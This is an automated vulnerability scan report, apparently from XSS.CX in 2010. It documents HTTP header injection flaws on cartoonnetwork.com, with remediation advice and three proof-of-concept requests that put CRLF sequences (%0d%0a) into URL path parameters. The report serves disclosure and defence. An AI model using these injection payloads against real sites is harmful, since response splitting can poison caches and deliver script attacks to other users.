HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
The value of REST URL parameter 1 is copied into the Location response header. The payload ec61f%0d%0a63adf5bc775 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.
Request
GET /ec61f%0d%0a63adf5bc775/ben10ua/index.html HTTP/1.1 Host: cartoonnetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Sat, 11 Dec 2010 03:03:12 GMT Server: Apache Location: http://www.cartoonnetwork.com/ec61f 63adf5bc775/ben10ua/index.html Vary: Accept-Encoding Content-Length: 275 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.cartoonnetwo ...[SNIP]...
The value of REST URL parameter 2 is copied into the Location response header. The payload 9d7d8%0d%0a2c33e657019 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.
Request
GET /tv_shows/9d7d8%0d%0a2c33e657019/index.html HTTP/1.1 Host: cartoonnetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Sat, 11 Dec 2010 03:03:15 GMT Server: Apache Location: http://www.cartoonnetwork.com/tv_shows/9d7d8 2c33e657019/index.html Vary: Accept-Encoding Content-Length: 276 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.cartoonnetwo ...[SNIP]...
The value of REST URL parameter 3 is copied into the Location response header. The payload 8c88c%0d%0a2d86f57c0c0 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.
Request
GET /tv_shows/ben10ua/8c88c%0d%0a2d86f57c0c0 HTTP/1.1 Host: cartoonnetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Sat, 11 Dec 2010 03:03:19 GMT Server: Apache Location: http://www.cartoonnetwork.com/tv_shows/ben10ua/8c88c 2d86f57c0c0 Vary: Accept-Encoding Content-Length: 273 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.cartoonnetwo ...[SNIP]...
Report generated by XSS.CX at Fri Dec 10 21:06:37 CST 2010.